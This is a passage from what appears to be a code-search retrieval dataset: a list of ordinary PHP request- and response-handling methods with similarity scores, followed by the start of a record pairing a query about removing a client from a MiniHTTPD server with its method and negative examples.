);\n\n\t\t\tif ( hash_equals( $signature, $_REQUEST['signature'] ) ) {\n\t\t\t\t$order_complete = $this->process_order_status( $order, $_REQUEST['paymentId'], $_REQUEST['paymentStatus'], $_REQUEST['paymentDate'] );\n\n\t\t\t\tif ( ! $order_complete ) {\n\t\t\t\t\t$order->update_status( 'failed', __( 'Payment was declined by Simplify Commerce.', 'woocommerce' ) );\n\t\t\t\t}\n\n\t\t\t\twp_redirect( $this->get_return_url( $order ) );\n\t\t\t\texit();\n\t\t\t}\n\t\t}\n\n\t\twp_redirect( wc_get_page_permalink( 'cart' ) );\n\t\texit();\n\t}", "public function close()\n {\n unset($this->responses);\n }", "public function response(){\r\n\t\t// register event on_shutdown\r\n\t\tregister_shutdown_function(function(){\r\n\t\t\t// on_shutdown\r\n\t\t\t\\M::get('event')->trigger('system.on_shutdown');\r\n\r\n\t\t\t// debug\r\n\t\t\t\\M::get('debug')->exception_fatal();\r\n\t\t});\r\n\r\n\t\tob_start();\r\n\t\t\t// load default config & controller core\r\n\t\t\trequire_once APP_PATH . 'config.php';\r\n\t\t\trequire_once SYSTEM_PATH . 'controller.php';\r\n\r\n\t\t\t// on load\r\n\t\t\t\\M::get('event')->trigger('system.on_load', DOMAIN);\r\n\r\n\t\t\t// parser url\r\n\t\t\t$this->parser_url();\r\n\t\t\t// load module\r\n\t\t\t$this->load_module(input('module', 'str', 'get'));\r\n\t\t\t// load extend module\r\n\t\t\t$this->load_extend(input('extend_module', 'str', 'get'));\r\n\t\t\t// load group controller & controller\r\n\t\t\tlist($lib, $instance) = $this->load_controller(input('group_controller', 'str', 'get'), input('controller', 'str', 'get'));\r\n\t\t\t// load action\r\n\t\t\t$this->load_action($lib, $instance);\r\n\t\t$html = ob_get_clean();\r\n\r\n\t\t// on response\r\n\t\tob_start();\r\n\t\t\\M::get('event')->change('system.on_response', $html);\r\n\r\n\t\t// display html & end all script\r\n\t\tdie($html);\r\n\t}", "public static function sendOkResponse(){\n http_response_code(200);\n die();\n }", "protected function sendEndRequest() : void\n {\n $message = \"DONE \" . $this->id;\n $this->sendRequest($message);\n }", "public function handle(): void\n {\n try {\n $response = $this->client->get($this->getCallUrl());\n\n $result = json_decode($response->getBody()->getContents());\n\n $this->checkSuccess($result);\n\n $article = $this->clientArticleService->saveArticleFromObject($result->data);\n\n $this->info('Article with ID '. $article->id. ' saved');\n }catch(\\Throwable $exception){\n $this->error($exception->getMessage());\n }\n }", "public function handleResponse($data)\n {\n // Retrieve the specific request data\n $requestData = current($data->getReturnsArray());\n \n // Initialize the inventory response\n $inventoryResponse = new GetInventoryResponse();\n\n // Unmarshall the response\n $inventoryResponse->read($requestData);\n\n $this->setData($inventoryResponse);\n }", "public function flushResponses()\n {\n self::$bxClient->flushResponses();\n self::$bxClient->resetRequests();\n }", "public function releaseResult(){\n $this->respond(\"Wrong Way, Go Back\",400);\n }", "abstract public function processResponse($response);", "public function handle()\n {\n try{\n $client = new \\GuzzleHttp\\Client();\n for($i = 1; $i<5; $i++){\n echo \"try \".$i.\" \\n\";\n $res = $client->post('https://atomic.incfile.com/fakepost');\n if($res->getStatusCode() == 200){\n echo $res->getStatusCode();\n echo $res->getBody();\n $i=5;\n }\n }\n if($res->getStatusCode() != 200)\n throw new \\Exception();\n }catch (\\Exception $e){\n echo $e->getMessage();\n echo \"the request has failed\";\n }\n }", "public function clearResponse()\n {\n $this->responseContent = '';\n $this->responseHeader = array();\n $this->responseCode = '200 Ok';\n }", "public function onResponseLate(FilterResponseEvent $event)\n {\n if (!$this->isActive($event)) {\n return;\n }\n $request = $event->getRequest();\n $response = $event->getResponse();\n if ($request->getRequestFormat() === self::FORMAT_JSON\n && $request->query->has('callback')\n && $response instanceof JsonResponse\n ) {\n switch ($request->query->get('_wrapper')) {\n case self::WRAPPER_POST_MESSAGE:\n $response->setContent(\n $this->twig->render(\n 'MediaMonksRestApiBundle::post_message.html.twig',\n [\n 'request' => $request,\n 'response' => $response,\n 'callback' => $request->query->get('callback'),\n 'origin' => $this->getOrigin()\n ]\n )\n )->headers->set('Content-Type', 'text/html');\n break;\n default:\n $response->setCallback($request->query->get('callback'));\n break;\n }\n }\n }", "public function handle(): void\n {\n $globals = $_SERVER;\n //$SlimPsrRequest = ServerRequestFactory::createFromGlobals();\n //it doesnt matters if the Request is of different class - no need to create Guzaba\\Http\\Request\n $PsrRequest = ServerRequestFactory::createFromGlobals();\n //the only thing that needs to be fixed is the update the parsedBody if it is NOT POST & form-fata or url-encoded\n\n\n //$GuzabaPsrRequest =\n\n //TODO - this may be reworked to reroute to a new route (provided in the constructor) instead of providing the actual response in the constructor\n $DefaultResponse = $this->DefaultResponse;\n //TODO - fix the below\n// if ($PsrRequest->getContentType() === ContentType::TYPE_JSON) {\n// $DefaultResponse->getBody()->rewind();\n// $structure = ['message' => $DefaultResponse->getBody()->getContents()];\n// $json_string = json_encode($structure, JSON_UNESCAPED_SLASHES);\n// $StreamBody = new Stream(null, $json_string);\n// $DefaultResponse = $DefaultResponse->\n// withBody($StreamBody)->\n// withHeader('Content-Type', ContentType::TYPES_MAP[ContentType::TYPE_JSON]['mime'])->\n// withHeader('Content-Length', (string) strlen($json_string));\n// }\n\n $FallbackHandler = new RequestHandler($DefaultResponse);//this will produce 404\n $QueueRequestHandler = new QueueRequestHandler($FallbackHandler);//the default response prototype is a 404 message\n foreach ($this->middlewares as $Middleware) {\n $QueueRequestHandler->add_middleware($Middleware);\n }\n $PsrResponse = $QueueRequestHandler->handle($PsrRequest);\n $this->emit($PsrResponse);\n\n }", "abstract protected function doComplete(Server $server): void;", "public function process() : Response\n {\n \t$this->parseRequestParameter();\n\n $this->baseDirectorySaveFile = $this->getSetting('baseDirectorySaveFile');\n $this->baseDirectorySaveTemporaryFile = $this->getSetting('baseDirectorySaveTemporaryFile');\n\n $uploadHandler = new UploadHandler(\n $this->baseDirectorySaveTemporaryFile,\n $this->baseDirectorySaveFile,\n $this->indentifier,\n $this->fileName,\n $this->numberChunkedOfFile\n );\n\n $this->callEventListener('onload');\n\n // handle multi upload\n foreach ($this->request->getUploadedFiles() as $uploadedFile) {\n $uploadHandler->receiveUploadChunked($uploadedFile, $this->chunkedNumber);\n\n $uploadHandler->addEventListener('onprogress', function() {\n $this->callEventListener('onprogress');\n $this->response = $this->response->withStatus(202);\n });\n\n $uploadHandler->addEventListener('onerror', function($error) {\n $this->callEventListener('onerror', $error);\n $this->response = $this->response->withStatus(500);\n });\n\n $uploadHandler->addEventListener('onfinished', function() {\n $this->callEventListener('onfinished');\n $this->response = $this->response->withStatus(200);\n });\n\n $uploadHandler->process();\n }\n\n\t\treturn $this->response;\n }", "public function on_kernel_terminate(PostResponseEvent $event)\n\t{\n\t\texit_handler();\n\t}", "private function after_execute($response)\n {\n }", "public function handle()\n {\n /** @var $responses AbstractResponse[] */\n $responses = [];\n try {\n $result = $this->requestFactory->forge();\n $requests = $result[0];\n $isBatch = $result[1];\n } catch (JsonRpcException $e) {\n $responses[] = new ErrorResponse(null, $e);\n $isBatch = false;\n }\n if (isset($requests)) {\n foreach ($requests as $request) {\n if ($request instanceof Request) {\n $error = null;\n try {\n foreach ($this->middlewares as $callable) {\n $callable($request);\n }\n $result = call_user_func_array([$this->app, $request->getMethod()], $request->getParams());\n if ($request->getId() !== false) {\n $responses[] = new SuccessResponse($request->getId(), $result);\n }\n } catch (\\BadMethodCallException $e) {\n $error = new MethodNotFoundException($e->getMessage());\n } catch (JsonRpcException $e) {\n $error = $e;\n } catch (\\Exception $e) {\n $error = new InternalException($e->getMessage());\n }\n if ($error !== null) {\n $responses[] = new ErrorResponse($request->getId(), $error);\n }\n } else {\n $responses[] = new ErrorResponse(null, $request);\n }\n }\n }\n if (!empty($responses) && isset($isBatch)) {\n if (sizeof($responses) == 1 && $isBatch === false) {\n $output = $responses[0]->jsonify();\n } else {\n $responses = array_map(\n function (AbstractResponse $response) {\n return $response->jsonify();\n },\n $responses\n );\n $output = sprintf('[%s]', implode(',', $responses));\n }\n }\n\n return isset($output) ? $output : null;\n }", "public function handleFailure($response) {\n }", "public function handleRequests() {\r\n $response = null;\r\n try {\r\n $urlArray = $this->uri->uri_to_assoc(3);\r\n if (array_key_exists('login', $urlArray)) {\r\n $response = self::postLogin();\r\n } else {\r\n $login = self::clientLogin();\r\n $response = self::instantiateRequestedClass($urlArray, $login);\r\n }\r\n } catch (Exception $ex) {\r\n $response = $this->apiv1_core->errorResponse($ex->getCode(), $ex->getMessage());\r\n }\r\n\r\n $httpcode = substr($response['code'], 0, 3);\r\n\r\n $name = '';\r\n foreach ($urlArray as $key => $value) {\r\n $this->$key = $value;\r\n $name = ucfirst($key);\r\n }\r\n $method = strtolower($this->input->server('REQUEST_METHOD')) . $name;\r\n $reqParam = $this->input->get() ? $this->input->get() : file_get_contents(\"php://input\");\r\n\r\n $msg = array(\r\n 'resourceURL' => $this->uri->assoc_to_uri($urlArray),\r\n 'className' => $response['className'],\r\n 'methodName' => $method,\r\n 'requestJSON' => json_encode($reqParam),\r\n 'responseHTTP' => $httpcode,\r\n 'responseJSON' => ($response['message']) ? json_encode($response) : json_encode($response['res']),\r\n );\r\n\r\n $logCid = isset($urlArray['account']) ? $urlArray['account'] : NULL;\r\n dblog_message(LOG_LEVEL_INFO, LOG_TYPE_API, \"API: \" . \r\n $this->input->server('REQUEST_METHOD') . \" \" .\r\n $this->uri->assoc_to_uri($urlArray) . \"\\n\" . print_r($msg, TRUE), $logCid);\r\n\r\n header(\"Content-Type: application/json\");\r\n header(\"HTTP/1.1 $httpcode\", true, $httpcode);\r\n\r\n if ($response['message']) {\r\n echo json_encode($response);\r\n } else {\r\n echo json_encode($response['res']);\r\n }\r\n return;\r\n }", "public function dispatch()\n {\n try {\n $this->get('Horde_Controller_ResponseWriter')->writeResponse(\n $this->get('Horde_Controller_Runner')->execute(\n $this->_injector,\n $this->get('Horde_Controller_Request'),\n $this->get('Horde_Kolab_FreeBusy_Controller_RequestConfiguration')\n )\n );\n } catch (Exception $e) {\n $this->_injector->bindFactory(\n 'Horde_Controller_ResponseWriter',\n 'Horde_Kolab_FreeBusy_Factory_Base',\n 'createResponseWriter'\n );\n $response = $this->_injector->createInstance('Horde_Controller_Response');\n $response->setHeaders(array('Status' => '404 Not Found', 'HTTP/1.0' => '404 Not Found'));\n $response->setBody($e->getMessage());\n $this->get('Horde_Controller_ResponseWriter')->writeResponse(\n $response\n );\n }\n }", "public function serveRequest()\n {\n $msg = $this->connection->read();\n if (!$msg) return;\n $this->connection->acknowledge($msg);\n \n $replyMsg = $this->act($msg);\n\n // write correlation id\n $replyMsg->setHeader(\"correlation-id\", $msg->getId());\n\n $this->connection->send($msg->getReplyTo(), $replyMsg);\t\t\n }", "public function finish() {\n\n\t\t// Output the JSON string\n\t\techo json_encode(\n\t\t\tarray(\n\t\t\t\t'status' => $this->status,\n\t\t\t\t'content' => $this->content\n\t\t\t)\n\t\t);\n\n\t\texit();\n\n\t}", "function req_unhook() {\n \\melt\\request\\reset();\n ignore_user_abort(true);\n header(\"Connection: close\");\n header(\"Content-Encoding: none\");\n header(\"Content-Length: 0\");\n ob_start();\n echo \" \";\n ob_end_flush();\n flush();\n ob_end_clean();\n}", "public function reply()\n\t{\n\t\tif($this->return){\n\t\t\t$this->_reply(200, 'Ok', $this->return);\n\t\t}else{\n\t\t\t$this->_reply(200, 'Ok', $this->return);\n\t\t}\n\t\texit();\n\t}", "public function finalize()\n {\n // Prepare response\n if (in_array($this->status, array(204, 304))) {\n $this->headers->remove('Content-Type');\n $this->headers->remove('Content-Length');\n $this->setBody('');\n }\n\n return array($this->status, $this->headers, $this->body);\n }", "public function dispatch()\n {\n $this->response = $this->frontController->execute();\n }", "private function handle200Response(\n RequestInterface $request,\n ResponseInterface $validateResponse,\n CompleteEvent $event\n ) {\n if (Utils::canCacheResponse($validateResponse)) {\n $this->storage->cache($request, $validateResponse);\n }\n\n $event->intercept($validateResponse);\n }", "function handleRequest() ;", "public function sendResponse()\n {\n $this->sendHeaders();\n\n if ($this->isException() && $this->renderExceptions()) {\n $exceptions = '';\n foreach ($this->getException() as $e) {\n $exceptions .= $e->__toString() . \"\\n\";\n }\n echo $exceptions;\n return;\n }\n\n $this->outputBody();\n }", "protected function handleResultRequest() {\n\t\t//no longer letting people in without these things. If this is\n\t\t//preventing you from doing something, you almost certainly want to be\n\t\t//somewhere else.\n\t\t$deadSession = false;\n\t\tif ( !$this->adapter->session_hasDonorData() ) {\n\t\t\t$deadSession = true;\n\t\t}\n\t\t$oid = $this->adapter->getData_Unstaged_Escaped( 'order_id' );\n\n\t\t$request = $this->getRequest();\n\t\t$referrer = $request->getHeader( 'referer' );\n\t\t$liberated = false;\n\t\tif ( $this->adapter->session_getData( 'order_status', $oid ) === 'liberated' ) {\n\t\t\t$liberated = true;\n\t\t}\n\n\t\t// XXX need to know whether we were in an iframe or not.\n\t\tglobal $wgServer;\n\t\tif ( $this->isReturnFramed() && ( strpos( $referrer, $wgServer ) === false ) && !$liberated ) {\n\t\t\t$sessionOrderStatus = $request->getSessionData( 'order_status' );\n\t\t\t$sessionOrderStatus[$oid] = 'liberated';\n\t\t\t$request->setSessionData( 'order_status', $sessionOrderStatus );\n\t\t\t$this->logger->info( \"Resultswitcher: Popping out of iframe for Order ID \" . $oid );\n\t\t\t$this->getOutput()->allowClickjacking();\n\t\t\t$this->getOutput()->addModules( 'iframe.liberator' );\n\t\t\treturn;\n\t\t}\n\n\t\t$this->setHeaders();\n\n\t\tif ( $deadSession ){\n\t\t\tif ( $this->adapter->isReturnProcessingRequired() ) {\n\t\t\t\twfHttpError( 403, 'Forbidden', wfMessage( 'donate_interface-error-http-403' )->text() );\n\t\t\t\tthrow new RuntimeException(\n\t\t\t\t\t'Resultswitcher: Request forbidden. No active donation in the session. ' .\n\t\t\t\t\t\"Adapter Order ID: $oid\"\n\t\t\t\t);\n\t\t\t}\n\t\t\t// If it's possible for a donation to go through without our\n\t\t\t// having to do additional processing in the result switcher,\n\t\t\t// we don't want to falsely claim it failed just because we\n\t\t\t// lost the session data. We also don't want to give any\n\t\t\t// information to scammers hitting this page with no session,\n\t\t\t// so we always show the thank you page. We don't want to do\n\t\t\t// any post-processing if we're not sure whether we actually\n\t\t\t// originated this attempt, so we return right after.\n\t\t\t$this->logger->warning(\n\t\t\t\t'Resultswitcher: session is dead, but the ' .\n\t\t\t\t'donor may have made a successful payment.'\n\t\t\t);\n\t\t\t$this->displayThankYouPage( 'dead session' );\n\t\t\treturn;\n\t\t}\n\t\t$this->logger->info( \"Resultswitcher: OK to process Order ID: \" . $oid );\n\n\t\tif ( $this->adapter->checkTokens() ) {\n\t\t\t$this->getOutput()->allowClickjacking();\n\t\t\t// FIXME: do we really need this again?\n\t\t\t$this->getOutput()->addModules( 'iframe.liberator' );\n\t\t\t// processResponse expects some data, so let's feed it all the\n\t\t\t// GET and POST vars\n\t\t\t$response = $this->getRequest()->getValues();\n\t\t\t// TODO: run the whole set of getResponseStatus, getResponseErrors\n\t\t\t// and getResponseData first. Maybe do_transaction with a\n\t\t\t// communication_type of 'incoming' and a way to provide the\n\t\t\t// adapter the GET/POST params harvested here.\n\t\t\t$this->adapter->processResponse( $response );\n\t\t\t$status = $this->adapter->getFinalStatus();\n\t\t\tswitch ( $status ) {\n\t\t\tcase FinalStatus::COMPLETE:\n\t\t\tcase FinalStatus::PENDING:\n\t\t\t\t$this->displayThankYouPage( $status );\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t$this->logger->info( \"Displaying fail page for final status $status\" );\n\t\t} else {\n\t\t\t$this->logger->error( \"Resultswitcher: Token Check Failed. Order ID: $oid\" );\n\t\t}\n\t\t$this->displayFailPage();\n\t}", "public function sendResponse();", "public function finishRequest($response = null)\n {\n $this->terminateOutputBuffering(0, $response);\n $this->cleanUp();\n }", "public function handle()\n {\n // and should exist on the server. If we can find a matching partial file, we're\n // good and we'll resume that.\n if(PartialFile::exists($this->patch())) {\n $this->file = PartialFile::find($this->patch());\n return;\n }\n\n // Sometimes the client actually did upload the last chunk but didn't receive\n // a successful confirmation, and is retrying. If we can find a matching completed\n // file we'll use it, and will tell the client that it's all good.\n if(File::exists($this->patch())) {\n $this->file = File::find($this->patch());\n return;\n }\n\n // If we found no matching file at all, I'm not really sure what happened.\n // Maybe the client stalled, and sat for hours before hitting retry, and\n // the partial file was already cleaned up? In any event, we have to treat\n // it as a new upload that is just starting.\n $this->file = PartialFile::initialize($this->patch());\n }", "public function handle()\n {\n $client = new \\GuzzleHttp\\Client();\n $request = new \\GuzzleHttp\\Psr7\\Request('GET', 'https://www.instagram.com/escapetoshape/media/');\n $promise = $client->sendAsync($request)->then(function ($res) {\n if ($res->getStatusCode() === 200) {\n $this->info($res->getStatusCode());\n Cache::forever('instagram', $res->getBody()->getContents());\n } else {\n Cache::put('instagram', 'THERE WAS AN ERROR');\n }\n });\n $promise->wait();\n }", "public function handleGetData()\n\t{\n\t\t$data = $this->getData();\n\t\t$options = $this->getOptions();\n\n\t\t$this->presenter->sendResponse(\n\t\t\tnew JsonResponse(\n\t\t\t\t[\n\t\t\t\t\t\"data\" => $data,\n\t\t\t\t\t\"options\" => $options,\n\t\t\t\t]\n\t\t\t)\n\t\t);\n\t}", "protected function response()\r\n {\r\n return true;\r\n }", "public function run()\n\t{\n\t\t$response = $this->dispatch($this['request']);\n\n\t\t$response->send();\n\n\t\t$this->callFinishMiddleware($response);\n\t}", "public function handleRequest() {\n\t\t\n\t\tif (is_null($this->itemObj)) {\n\t\t\t$this->itemObj = MovieServices::getVcdByID($this->getParam('vcd_id'));\n\t\t}\n\t\t\n\t\t$action = $this->getParam('action');\n\t\t\n\t\tswitch ($action) {\n\t\t\tcase 'upload':\n\t\t\t\t$this->uploadImages();\n\t\t\t\t// reload and close upon success\n\t\t\t\tredirect('?page=addscreens&vcd_id='.$this->itemObj->getID().'&close=true');\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tcase 'fetch':\n\t\t\t\t$this->fetchImages();\n\t\t\t\t// reload and close upon success\n\t\t\t\tredirect('?page=addscreens&vcd_id='.$this->itemObj->getID().'&close=true');\n\t\t\t\tbreak;\n\t\t\n\t\t\tdefault:\n\t\t\t\tredirect();\n\t\t\t\tbreak;\n\t\t}\n\t}", "protected function handleEndBodyCommand()\n {\n if ($this->state === self::STATUS_UNFOLDING) {\n $this->message = $this->message->withAddedHeader($this->foldHeader, $this->foldBuffer);\n }\n\n $this->state = self::STATUS_PROCESSING;\n /**\n * Default action, using timer so that callbacks above can be called asynchronously.\n */\n $this->defaultActionTimer = $this->loop->addTimer($this->defaultActionTimeout, function() {\n if ($this->acceptByDefault) {\n $this->accept();\n } else {\n $this->reject();\n }\n });\n\n\n\n $this->emit('message', [\n 'from' => $this->from,\n 'recipients' => $this->recipients,\n 'message' => $this->message,\n 'connection' => $this,\n ]);\n }", "public function handleResponse(Player $player, $data): void {\n\t\t// TODO: Implement handleResponse() method.\n\t}", "public function dispatchLoopShutdown() {\n $response = $this->getResponse();\n if($response->isException()) {\n Zend_Registry::get('monitor')->writeLog($response);\n }\n }", "public function finished()\n\t{\n\t\t$submission = $this->getSubmission();\n\n\t\tif (!$submission) return $this->httpError(404);\n\n\t\t$referrer = isset($_GET['referrer']) ? urldecode($_GET['referrer']) : null;\n\n\t\tif (!$this->DisableAuthenicatedFinishAction && !$submission) {\n\t\t\t$formProcessed = Session::get('FormProcessed');\n\n\t\t\tif (!isset($formProcessed)) {\n\t\t\t\treturn $this->redirect($this->Link() . $referrer);\n\t\t\t} else {\n\t\t\t\t$securityID = Session::get('SecurityID');\n\t\t\t\t// make sure the session matches the SecurityID and is not left over from another form\n\t\t\t\tif ($formProcessed != $securityID) {\n\t\t\t\t\t// they may have disabled tokens on the form\n\t\t\t\t\t$securityID = md5(Session::get('FormProcessedNum'));\n\t\t\t\t\tif ($formProcessed != $securityID) {\n\t\t\t\t\t\treturn $this->redirect($this->Link() . $referrer);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tSession::clear('FormProcessed');\n\t\t}\n\n\t\t$data = array(\n\t\t\t\t'Submission' => $submission,\n\t\t\t\t'Link' => $referrer\n\t\t);\n\n\t\t$this->extend('updateReceivedFormSubmissionData', $data);\n\n\t\treturn $this->customise(array(\n\t\t\t'Content' => $this->customise($data)->renderWith($this->config()->submission_template),\n\t\t\t'Form' => '',\n\t\t));\n\t}", "public static function _stop() {\n self::response()\n ->write(ob_get_clean())\n ->send();\n }", "public function onKernelResponse(FilterResponseEvent $event)\n {\n if ($this->getException()) {\n $this->notifier->reportException($this->getException());\n $this->setException(null);\n }\n }", "public function handle(HttpClientInterface $client, Request $request, Response $response);", "function deliver_response(){\n\n // --- Step 1: Initialize variables and functions\n //\n // Deliver HTTP Response\n // The desired HTTP response content type: [json, html, xml]\n // The desired HTTP response data\n\n\n header('HTTP/1.1 '.$this->response['status'] . // Set HTTP Response\n ' '.$this->http_response_code[$this->response['status'] ]);\n header('Content-Type: application/json; charset=utf-8'); // Set HTTP Response Content Type\n $json_response = json_encode($this->response['data']); // Format data into a JSON response\n echo $json_response; // Deliver formatted data\n }", "private function handleCall() { //$this->request\n $err = FALSE;\n // route call to method\n $this->logToFile($this->request['action']);\n switch($this->request['action']) {\n // Edit form submitted\n case \"edit\":\n // TODO: improve error handling\n try {\n $this->logToFile(\"case: edit\");\n $this->edit($this->request['filename']);\n //$this->save();\n } catch (Exception $e) {\n $err = \"Something went wrong: \";\n $err .= $e.getMessage();\n }\n break;\n }\n // TODO: set error var in response in case of exception / error\n // send JSON response\n if($err !== FALSE) {\n $this->request['error_msg'] = $err;\n }\n $this->giveJSONResponse($this->request);\n }", "public function send()\n {\n if (!is_null($this->lastResponse)) {\n $this->lastResponse->send();\n }\n }", "public function handle()\n {\n $url = $this->generateUrl($this->options());\n\n $client = $this->connector->createClient($url);\n $client->then([$this, 'client'], [$this, 'writeException']);\n $this->loop->run();\n }", "private function sendResponseCode(): void\n {\n\n $http = sprintf(\n 'HTTP/%s %s %s',\n $this->versionProtocol,\n $this->responseCode,\n $this->httpCodeText[$this->responseCode]\n );\n\n header($http, true);\n http_response_code($this->responseCode);\n\n }", "public function complete($request);", "public function handleRequest($request)\n {\n list ($route, $params) = $request->resolve();\n $this->requestedRoute = $route;\n $result = $this->runAction($route, $params);\n\n if ($result instanceof Response) {\n return $result;\n } elseif ($result instanceof Looper){\n $result->loop();\n\n $response = $this->getResponse();\n $response->exitStatus = 0;\n\n return $response;\n } else {\n $response = $this->getResponse();\n $response->exitStatus = $result;\n\n return $response;\n }\n }", "public function handleReturnLocker() {\n // Ensure the required parameters exist\n $this->requireParam('lockerId');\n\t\t$this->requireParam('userId');\n\t\t$this->requireParam('messageId');\n $body = $this->requestBody;\n\n\t\t$user = $this->userDao->getUserbyId($body['userId']);\n\t\t$locker = $this->lockerDao->getLockerByID($body['lockerId']);\n\t\t$message = $this->messageDao->getMessageByID($body['messageId']);\n\n // Update the Message\n $locker->setUserId('');\n \n $ok = $this->lockerDao->updateLocker($locker);\n if(!$ok) {\n $this->respond(new Response(Response::INTERNAL_SERVER_ERROR, 'Locker Failed to Return'));\n }\n\n\t\t$mailer = New TekBotsMailer('[email protected]');\n $ok = $mailer->sendLockerEmail($user, $locker, $message);\n\t\tif(!$ok) {\n $this->respond(new Response(Response::INTERNAL_SERVER_ERROR, 'Email send Failed'));\n }\n\n $this->respond(new Response(Response::OK, 'Locker Returned'));\n\n }", "public function handle_result() {\n\t\t\t\tif ( ! isset( $_REQUEST['order-id'] ) || empty( $_REQUEST['order-id'] ) ) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t$response = file_get_contents( 'php://input' );\n\t\t\t\t$jsonResponse = json_decode( $response );\n\t\t\t\t$responseArray = json_decode($response,true);\n\t\t\t\t\n\t\t\t\t$order = wc_get_order( $_REQUEST['order-id'] );\n\t\t\t\t\n\t\t\t $order->add_order_note( $this->generateTable($responseArray),'success' );\n\t\t\t // Only Log when test mode is enabled\n\t\t\t if( 'yes' == $this->get_option( 'test_enabled' ) ) {\n\t\t\t \t$order->add_order_note( $response );\n\t\t\t }\n\t\t\t \n\n\t\t\t\tif ( isset( $jsonResponse->transactionStatus ) && 'APPROVED' == $jsonResponse->transactionStatus ) {\n\t\t\t\t\t\t// Complete this order, otherwise set it to another status as per configurations\n\t\t\t\t\t\t$order->payment_complete();\n\t\t\t\t\t\t$order->update_status( $this->get_option( 'success_payment_status' ), __( 'Havano Payment was Successful.', 'havanao' ) );\t\n\t\t\t\t} else {\n\t\t\t\t\t$order->update_status( $this->get_option( 'errored_payment_status' ), __( 'Havano Payment was Successful.', 'havanao' ) );\t\n\t\t\t\t}\n\t\t\t}", "public function execute()\n\t{\n\t\ttry\n\t\t{\n\t\t\t// Try and return the normal request\n\t\t\treturn parent::execute();\n\t\t}\n\t\tcatch(Vertebro_Exception $e)\n\t\t{\n\t\t\t// Assign the error code\n\t\t\t$this->response->status($e->code());\n\n\t\t\t// Assign the body\n\t\t\t$this->body = array('error' => $e->errors());\n\t\t}\n\t\tcatch(Kohana_Exception $e) {\n\n\t\t\tif (Kohana::$environment != Kohana::DEVELOPMENT)\n\t\t\t{\n\t\t\t\t$this->response->status(400);\n\n\t\t\t\t// Set a default error\n\t\t\t\t$this->body = array('error' => 'Something went wrong');\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$this->body = array('error' => $e->getMessage());\n\t\t\t}\n\t\t}\n\n\t\t// Run the after\n\t\t$this->after();\n\n\t\t// Return the response we have now\n\t\treturn $this->response;\n\t}", "protected abstract function handleRequest();", "private function getResponse() {\n $this->response['status_code'] = $this->status->getStatusCode();\n $this->response['reason_phrase'] = $this->status->getReasonPhrase();\n \n $this->readHeaders();\n }" ]
[ "0.67901564", "0.65624905", "0.6363065", "0.63299996", "0.624035", "0.6116563", "0.60525966", "0.60289574", "0.6005157", "0.5991418", "0.5961236", "0.58835244", "0.5871349", "0.58552", "0.58472234", "0.58288825", "0.5803994", "0.57994455", "0.57875293", "0.57654196", "0.5758864", "0.57454795", "0.5707487", "0.56607646", "0.565617", "0.5640316", "0.5607861", "0.55747926", "0.5567114", "0.5561902", "0.554122", "0.55401963", "0.5538504", "0.5534416", "0.55292356", "0.55210173", "0.5502623", "0.55024946", "0.5501167", "0.5470245", "0.54677445", "0.54592806", "0.5449693", "0.5449323", "0.54461265", "0.5440894", "0.54407483", "0.5429413", "0.5412587", "0.54037046", "0.5394918", "0.538756", "0.5387174", "0.53837353", "0.5372384", "0.5370272", "0.53629863", "0.53553325", "0.5345118", "0.533281", "0.532942", "0.5326584", "0.53261024", "0.53260523", "0.53209263", "0.53089756", "0.53033936", "0.5301337", "0.52963144", "0.5295986", "0.52921104", "0.52857476", "0.5277354", "0.5277278", "0.5265559", "0.5260386", "0.52593505", "0.5254334", "0.5253135", "0.5245802", "0.52353275", "0.52349627", "0.5232393", "0.5222509", "0.52211314", "0.5207857", "0.52026683", "0.5199189", "0.5195478", "0.5194507", "0.51914746", "0.51910245", "0.51878524", "0.518496", "0.5184529", "0.5182447", "0.5182261", "0.51754403", "0.51622474", "0.51596165" ]
0.5547866
30
Removes the client from the active queue. The client's finish() method will be called and its socket will be closed gracefully. If an active FCGI request has been aborted, the FCGI socket will be queued in the $aborted list for handling later.
protected static function removeClient(MiniHTTPD_Client $client) { $clientID = $client->getID(); if (MHTTPD::$debug) {cecho("Client ({$clientID}) ... removing client ");} // Has an FCGI request been aborted? if ($client->hasOpenFCGI()) { // Queue the aborted request for handling later MHTTPD::$aborted[] = array( 'client' => $clientID, 'fcgi_client' => $client->getFCGIClientID(), 'process' => $client->getFCGIProcess(), 'pid' => MFCGI::getPID($client->getFCGIProcess()), 'socket' => $client->getFCGISocket(), 'time' => time(), ); if (MHTTPD::$debug) { cecho("\nClient ({$clientID}) ... aborted FCGI request"); cecho("\nClient ({$clientID}) "); } } // Finish up if (!$client->isFinished()) { $client->finish(); if (MHTTPD::$debug) {cecho("\n\n");} $client->writeLog(); } if (MHTTPD::$debug) {cecho("\n");} MHTTPD::closeSocket($client->getSocket()); unset(MHTTPD::$clients[$clientID]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function removeClientOnClose($client)\n { \n $clientId = $client->getClientId();\n $clientIp = $client->getClientIp();\n $clientPort = $client->getClientPort();\n $resource = $client->getClientSocket();\n \n $this->_removeIpFromStorage($client->getClientIp());\n if(isset($this->_requestStorage[$clientId]))\n {\n unset($this->_requestStorage[$clientId]);\n }\n unset($this->clients[(int)$resource]);\n $index = array_search($resource, $this->allsockets);\n unset($this->allsockets[$index], $client); \n \n // trigger status application:\n if($this->getApplication('status') !== false)\n {\n $this->getApplication('status')->clientDisconnected($clientIp, $clientPort);\n }\n unset($clientId, $clientIp, $clientPort, $resource); \n }", "public function __destruct() {\n // scope of a foreach) but it has not reached its end, we must sync\n // the client with the queued elements that have not been read from\n // the connection with the server.\n $this->sync();\n }", "public function cleanResources()\n {\n if (!empty($this->clients)) {\n foreach ($this->clients as $client) {\n $this->close($client);\n }\n\n unset($this->clients);\n }\n\n $this->close($this->socket);\n unset($this->socket);\n }", "public function quit() {\n if ($this->client) {\n $this->client->quit();\n }\n }", "protected function clientDestruct( \\Milko\\wrapper\\Client $theClient )\t{}", "protected static function shutdown()\n\t{\n\t\tif (MHTTPD::$debug) {cecho(\"Shutting down the server ...\\n\");}\n\t\tMHTTPD::$running = false;\n\t\t\n\t\t// Close listener\n\t\tMHTTPD::closeSocket(MHTTPD::$listener);\n\t\t\n\t\t// Kill all running FCGI processes\n\t\texec('taskkill /F /IM 